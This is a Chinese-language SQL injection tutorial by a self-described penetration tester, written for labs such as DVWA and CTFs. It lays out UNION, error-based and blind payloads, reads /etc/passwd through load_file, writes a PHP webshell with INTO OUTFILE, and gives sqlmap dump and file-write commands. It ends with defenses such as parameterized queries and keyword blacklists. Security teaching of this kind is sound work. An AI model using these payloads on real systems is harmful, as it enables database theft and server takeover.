1. 项目概述:从“命令”到“武器库”的认知升级
提到SQL注入,很多刚入门安全测试的朋友第一反应就是去背一堆“命令”——比如union select 1,2,3,或者' and 1=1 --+。这没错,这些确实是核心的“弹药”。但如果你只把它们看作孤立的命令,那你的水平可能就永远停留在“脚本小子”的阶段了。我干了十多年渗透测试,见过太多人拿着网上抄来的payload一通乱试,成功了不知道为什么,失败了更不知道怎么办。
今天,我想跟你聊的“SQL注入常用命令详解”,绝不仅仅是罗列一堆语法。我的目标是帮你把这些零散的“命令”,组装成一套有逻辑、有层次、能应对各种复杂场景的“武器库”。你得理解每一条命令背后的意图:它是在探测什么?是在绕过什么?又是在提取什么信息?只有这样,当你在真实的黑盒测试中,面对一个陌生的输入点时,你才能像老手一样,快速在脑海中构建出攻击路径图,而不是机械地背诵。无论是DVWA、Pikachu这样的入门靶场,还是CTF中那些刁钻的字符型、报错型题目,甚至是像文章管理系统、avcon综合管理平台这类真实环境,其内核逻辑都是相通的。掌握了这套“武器思维”,你才能举一反三。
2. 核心思路拆解:构建你的注入攻击链
在真正敲下任何一条注入命令之前,脑子里必须有一条清晰的攻击链。这条链决定了你使用命令的顺序和方式,盲目乱试只会触发WAF或者被日志记录。
2.1 侦察与探测:判断注入点与类型
这是所有工作的起点。你的目标不是注入成功,而是“看清”目标。
核心命令与意图:
- 基础探测:
'、"、)。目的很简单,通过输入这些闭合字符,观察页面回显是否出现语法错误(如MySQL的You have an error in your SQL syntax)。一旦出现错误,基本可以确定存在注入点,并且错误信息有时会直接暴露部分SQL语句结构,这是黄金信息。 - 逻辑测试:
and 1=1、and 1=2。这是经典的布尔盲测。在疑似注入点后拼接这些条件。如果and 1=1时页面正常,and 1=2时页面异常(空白、错误、内容不同),那么这里就是一个可进行布尔逻辑判断的注入点。这招在无显错信息的盲注场景下是生命线。 - 类型判断:通过
?id=1和?id=1'的对比,可以判断是数字型还是字符型。数字型通常1 and 1=1直接生效;字符型则需要考虑闭合,如1' and '1'='1。
实操心得:别只用一种payload探测。一个点可能对
'有过滤,但对"没有。现代应用常常有多处输入,URL参数、Cookie、User-Agent头、X-Forwarded-For头都可能是入口。用Burp Suite抓包,在每个可能的地方都试试。
2.2 信息收集:摸清数据库“家底”
确认注入点后,先别急着拖库。了解数据库的版本、用户、当前数据库名等信息至关重要,它直接决定你后续能用哪些高级攻击手法。
核心命令与意图(以MySQL为例):
- 查询版本与用户:
union select 1, version(), user(), database() --+version():知道版本号才能确定是否存在已知漏洞(如老版本的into outfile写shell漏洞),以及某些函数是否可用。user():当前数据库用户权限。如果是root@localhost,那危害性极大;如果是普通用户,则需评估其权限。database():当前使用的数据库名,是后续查表的前提。
- 查询所有数据库名:
union select 1, schema_name from information_schema.schemata --+information_schema.schemata:这是MySQL的信息数据库,存储了所有数据库的元数据。这一步让你看清服务器上有哪些“仓库”。
为什么是information_schema?这是理解SQL注入的关键。在MySQL、MariaDB中,information_schema是一个系统数据库,它像一本“数据库的字典”,记录了所有其他数据库、表、列、权限的信息。攻击者无需知道具体应用表名,只需查询这个系统库,就能一步步推导出目标数据的位置。这是SQL注入自动化工具(如sqlmap)的理论基础。
2.3 数据提取:精准定位与获取
知道了数据库名,下一步就是找具体的“货架”(表)和“货物”(列)。
核心命令与意图:
- 查表:
union select 1, table_name from information_schema.tables where table_schema='目标库名' --+- 从
information_schema.tables中筛选出属于目标数据库的所有表名。通常你需要寻找像admin、user、password、customer这类敏感表。
- 从
- 查列:
union select 1, column_name from information_schema.columns where table_name='目标表名' and table_schema='目标库名' --+- 知道了表名,再从
information_schema.columns中查这个表有哪些列。寻找username、passwd、email、phone等字段。
- 知道了表名,再从
- 拖数据:
union select 1, username, password from 目标库名.目标表名 --+- 最后一步,直接查询目标表的目标列,获取明文或哈希后的凭证数据。
参数计算与绕过:这里常遇到问题,就是union select前后查询的列数必须一致。你需要先用order by N来猜解列数。例如?id=1' order by 5 --+,如果页面正常,说明至少有5列;报错则少于5列。通过二分法(试3,试7…)快速确定列数。确定后,在union select后使用相同数量的列,并用数字1,2,3...或null占位,在可回显的位置替换为你要查询的函数或列名。
2.4 高级利用与拓展
基础的数据提取只是开始,真正的“常用命令”还包括在各种限制下的突围技巧。
- 报错注入:当页面没有正常回显,但会返回数据库错误信息时使用。利用像
updatexml()、extractvalue()、floor(rand()*2)这类函数故意制造错误,并将查询结果带到错误信息中。例如:' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --+。这里的0x7e是波浪号~的十六进制,用于在错误信息中清晰分隔出我们注入的查询结果。 - 布尔盲注:无任何回显,只有页面正常/异常两种状态。通过
and length(database())>5、and substr((select table_name from information_schema.tables limit 1),1,1)='a'这种逻辑判断,像猜密码一样一位位地猜解数据。这个过程极其繁琐,必须依赖脚本自动化。 - 时间盲注:连布尔状态都没有,只能通过让数据库执行延时函数来判断。
' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+。如果页面响应延迟了5秒,说明判断条件为真。这是最隐蔽但也最低效的方式。 - 堆叠查询:利用
;执行多条SQL语句。如?id=1'; update users set password='hacked' where id=1; --。但并非所有数据库驱动都支持,PHP+MySQL默认就不支持。 - 文件读写:需要高权限(如
FILE权限)。union select 1, load_file('/etc/passwd') --+读取服务器文件;union select 1, '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php' --+写入Webshell。这是极具破坏性的操作。
3. 实战命令手册与场景化应用
下面我把这些命令按场景整理成表,并附上典型用例和绕过技巧。
3.1 探测与指纹识别命令集
| 命令/Payload | 主要目的 | 预期响应(成功时) | 适用场景 | 备注 |
|---|---|---|---|---|
'/"/) | 探测注入点,判断闭合方式 | 数据库语法错误页面 | 所有可疑输入点 | 第一步必做,根据错误信息调整闭合 |
and 1=1/and 1=2 | 布尔逻辑测试,确认注入 | 1=1正常,1=2异常 | 搜索框、筛选条件 | 可用于数字/字符型(需闭合) |
' and '1'='1 | 字符型注入闭合测试 | 页面正常显示 | URL参数、表单 | 确保SQL语句逻辑完整 |
sleep(5) | 测试时间盲注可能性 | 页面响应延迟约5秒 | 无任何回显的盲注点 | 可结合if条件使用 |
/*!50000select*/ | 内联注释,绕过简单WAF | 被正常执行 | 存在关键词过滤 | MySQL特有,!后跟版本号 |
场景示例(DVWA Low难度):假设URL为:/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
- 探测:访问
...?id=1',页面报错,确认字符型注入,闭合符为单引号。 - 测列数:
...?id=1' order by 2 -- &Submit=Submit,正常。order by 3报错,确认2列。 - 查信息:
...?id=-1' union select version(), database() -- &Submit=Submit。这里id=-1是为了让前一个查询无结果,从而直接显示union后的结果。
3.2 信息收集与数据提取命令集
| 阶段 | 核心查询语句(示例) | 关键函数/表说明 | 输出目标 |
|---|---|---|---|
| 基础信息 | union select user(), version(), database() | user():当前用户;version():数据库版本;database():当前库 | 权限、版本、库名 |
| 数据库枚举 | union select 1, group_concat(schema_name) from information_schema.schemata | information_schema.schemata: 所有数据库;group_concat(): 合并多行 | 服务器上所有数据库列表 |
| 表名枚举 | union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' | information_schema.tables: 所有表;table_schema限定库 | 指定库中的所有表名 |
| 列名枚举 | union select 1, group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' | information_schema.columns: 所有列 | 指定表的所有列名 |
| 数据提取 | union select user, password from dvwa.users | 直接查询目标表 | 最终的敏感数据(如账号密码) |
避坑技巧:
group_concat()有长度限制(默认1024字节)。如果表或列太多显示不全,可以用limit分片查询:... union select 1, table_name from information_schema.tables where table_schema='target_db' limit 0,1,一次查一个。
3.3 报错注入命令详解
报错注入的核心是故意制造一个数据库错误,并将子查询的结果“夹带”在错误信息中返回。
常用函数及Payload构造:
updatexml()函数:- 语法:
UPDATEXML(XML_document, XPath_string, new_value) - 注入原理:第二个参数
XPath_string需要是合法的XPath格式,否则会报错。我们将查询结果拼接进去,使其非法。 - 经典Payload:
' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --+ - 解释:
concat(0x7e, (select user()), 0x7e)会将当前用户查询结果前后加上波浪号~,形成如~root@localhost~的字符串。这不是一个合法的XPath,所以数据库执行updatexml时会报错,错误信息中通常就包含了这个字符串,从而泄露了user()的结果。 - 限制:
updatexml最多只能返回约32KB的数据,且一次只能显示一行的一部分(约几十个字符)。对于长数据需要配合substr()函数分段截取。
- 语法:
extractvalue()函数:- 语法:
EXTRACTVALUE(XML_document, XPath_string) - 原理:与
updatexml类似,利用第二个参数非法引发报错。 - 经典Payload:
' and extractvalue(1, concat(0x7e, (select database()))) --+ - 特点:用法和限制与
updatexml几乎完全相同,可以互为备选。
- 语法:
floor()+rand()+group by主键重复错误:- 经典Payload:
' and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+ - 解释:这个Payload相对复杂。其核心是利用
floor(rand(0)*2)在group by分组时,因序列确定性导致的主键重复错误。错误信息中会包含concat内的查询结果。这是历史上非常经典的一种报错注入方式,但构造起来稍麻烦。 - 优点:在某些
updatexml和extractvalue不可用的场景下可能生效。
- 经典Payload:
报错注入实战步骤:
- 确认报错点:输入一个单引号
',观察页面是否返回详细的数据库错误(如MySQL的错误信息)。如果有,则适合报错注入。 - 构造Payload:选择上述一种函数,将你想要查询的信息(如
select database())放入其中。 - 分段获取数据:由于长度限制,查询长数据(如表名列表)时,需要使用
limit和substr。例如,获取第一个表名的前10个字符:' and updatexml(1, concat(0x7e, substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,10), 0x7e),1) --+ - 循环遍历:通过脚本自动化修改
limit的偏移量和substr的起始位置,即可完整拖出所有数据。
3.4 盲注:当一切回显都被关闭
盲注是SQL注入中最考验耐心和脚本能力的部分。它分为布尔盲注和时间盲注。
布尔盲注的核心逻辑:页面只有两种状态:正常(True)和异常(False)。我们通过注入and条件,像“问问题”一样让数据库回答“是”或“否”。
- 猜解数据库名长度:
' and length(database())=4 --+。如果页面正常,说明库名长度是4。 - 猜解数据库名每一位:
' and substr(database(),1,1)='a' --+。通过改变substr的位数和比较的字符,利用二分法(比较ASCII码)可以快速猜出。substr(database(),2,1)猜第二位,以此类推。 - 猜解表名数量、表名:
' and (select count(table_name) from information_schema.tables where table_schema=database())=5 --+先猜表数量。然后' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u' --+猜第一个表的第一个字母。
这个过程极其繁琐,必须使用Python等脚本自动化。脚本会遍历所有可能的字符(通常是小写字母、数字、下划线),根据页面差异(可通过HTML长度、特定关键词是否存在来判断)来确定每一位字符。
时间盲注的核心逻辑:当页面无论对错都返回相同内容,连布尔状态都无法区分时,就用时间盲注。通过if(条件, sleep(5), 0),让数据库在条件为真时“睡一会儿”,从而通过响应时间来判断。
- Payload示例:
' and if(ascii(substr(database(),1,1))>100, sleep(3), 0) --+ - 解释:如果当前数据库名的第一个字符的ASCII码大于100,则页面响应会延迟至少3秒。通过不断调整比较的ASCII码值(二分法),可以确定该字符的准确值。
时间盲注的效率比布尔盲注更低,因为每次请求都要等待设定的睡眠时间。自动化脚本需要设置一个合理的超时阈值来判断“真”或“假”。
4. 工具化实战:以Sqlmap为例解析命令思维
理解了手工注入的原理,再看Sqlmap这样的自动化工具,你就会明白它只是在模拟我们上面的思维链。掌握它的核心参数,就是让你用工具的思路来巩固手工注入的理解。
Sqlmap常用命令场景解析:
基础探测:
sqlmap -u "http://target.com/page.php?id=1"工具会自动尝试各种闭合和探测技巧,相当于我们手工做的第一步。
指定参数与注入技术:
sqlmap -u "http://target.com/page.php?id=1" --technique=B--technique参数指定注入技术。B代表布尔盲注,E代表报错注入,U代表联合查询,S代表堆叠查询,T代表时间盲注。这对应了我们手工测试时对不同场景的判断。获取信息:
sqlmap -u "http://target.com/page.php?id=1" --current-user --current-db --is-dba这对应了手工注入的
union select user(), database()以及判断是否为DBA(管理员)权限。枚举数据:
sqlmap -u "http://target.com/page.php?id=1" -D dvwa --tables sqlmap -u "http://target.com/page.php?id=1" -D dvwa -T users --columns sqlmap -u "http://target.com/page.php?id=1" -D dvwa -T users -C user,password --dump这一系列命令完美对应了手工注入中“查库 -> 查表 -> 查列 -> 拖数据”的完整链条。
--dump还会尝试自动破解哈希值。文件读写(需高权限):
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/path/shell.php" --file-dest="/var/www/html/shell.php"这对应了手工注入中的
load_file()和into outfile操作。
工具使用的注意事项:
- 不要盲目跑全自动:先用
--batch模式快速扫描,但关键步骤建议交互式进行,避免误操作。 - 善用
--level和--risk:提高级别和风险值,会使用更多、更激进的payload进行测试,但也更容易触发WAF和日志。 - 代理与延迟:使用
--proxy设置代理便于调试;在时间盲注时使用--delay设置请求间隔,避免对目标造成过大压力或被封IP。 - 理解输出:工具输出的每一个步骤,都对应着手工注入的一个环节。多看它的payload,是学习绕过技巧的好方法。
5. 防御视角与命令的“另一面”
作为一个负责任的安全从业者,了解攻击命令的最终目的,是为了更好地防御。从防御角度看,这些“常用命令”就是我们要重点过滤和监控的恶意输入模式。
基于命令特征的防御思路:
输入过滤与转义:
- 黑名单:过滤
union、select、and、or、'、"、--、#、/*、*/、sleep、benchmark、updatexml、extractvalue等关键词和函数名。但黑名单很容易被绕过(如大小写、双写、内联注释/*!50000select*/)。 - 白名单:对于数字型ID,严格限制输入为整数。对于有限选项(如分类),只允许预定值。这是最有效的方法。
- 转义:对特殊字符进行转义,如将
'转为\'。但需确保使用正确的数据库扩展函数(如mysqli_real_escape_string),并统一字符集,避免宽字节注入。
- 黑名单:过滤
参数化查询(预编译语句):
- 原理:这是根治SQL注入的终极手段。将SQL语句(
SELECT * FROM users WHERE id = ?)与参数(1)分开发送给数据库。数据库会先将语句编译为执行计划,再将参数作为纯数据处理。此时,即使用户输入1' or '1'='1,也只会被当作一个完整的字符串参数,而不会被解析为SQL语法。 - 命令示例(PHP PDO):
在这个场景下,任何注入命令在$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND status = :status"); $stmt->execute(['email' => $email, 'status' => $status]);$email或$status变量中都失效了。
- 原理:这是根治SQL注入的终极手段。将SQL语句(
最小权限原则:
- 为Web应用连接数据库的账户分配最小必要权限。通常只需要
SELECT权限,绝对不要给FILE、DROP、CREATE、ALTER等高危权限。这样即使注入成功,攻击者也无法进行写文件、删表等破坏性操作。
- 为Web应用连接数据库的账户分配最小必要权限。通常只需要
错误信息处理:
- 在生产环境中,禁止将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面。这能有效防范报错注入,并增加攻击者的信息收集难度。
Web应用防火墙(WAF):
- 部署WAF可以基于规则实时拦截常见的SQL注入攻击模式。但WAF不是银弹,可能存在绕过风险,应作为纵深防御的一环,而非唯一依赖。
从攻击命令反推防御检查清单:
- 你的代码中是否存在直接拼接字符串的SQL语句?
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];这是高危信号。 - 数据库连接用户是否拥有
root或DBA权限?立即降权。 - 前端错误提示是否暴露了
MySQL、You have an error等字样?立即关闭详细错误回显。 - 是否对所有用户输入(包括HTTP头、Cookie)都进行了严格的校验或参数化处理?
理解攻击,是为了铸就更坚固的防御。当你再看到union select、updatexml这些命令时,你脑子里应该同时浮现出两幅画面:一幅是作为攻击者,如何精巧地组装它们;另一幅是作为防御者,如何在代码层面、架构层面将它们彻底拒之门外。这才是“SQL注入常用命令”这个话题,所能带给你的最完整的价值。